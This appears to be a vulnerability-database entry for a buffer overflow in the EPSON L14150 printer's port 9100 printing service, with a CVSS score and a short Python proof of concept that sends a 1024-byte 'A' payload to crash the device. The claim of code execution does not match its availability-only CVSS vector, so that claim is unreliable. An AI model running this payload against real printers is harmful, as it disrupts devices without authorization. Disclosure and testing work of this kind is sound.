Buffer Overflow vulnerability in EPSON L14150 FL27PB allows a remote attacker to execute arbitrary code via the RAW Printing Service (JetDirect) on TCP port 9100
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
EPSON L14150 FL27PB
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Configuration
target_host = '192.168.x.x'
target_port = 9100
# Payload construction
# Note: Offset and return address need to be adjusted based on specific firmware analysis
buffer_size = 1024 # Example triggering size
payload = b'A' * buffer_size
try:
print(f"[*] Connecting to {target_host}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_host, target_port))
print("[*] Sending malicious payload...")
s.send(payload)
print("[+] Payload sent. Check device status.")
s.close()
except Exception as e:
print(f"[-] Exploit failed: {e}")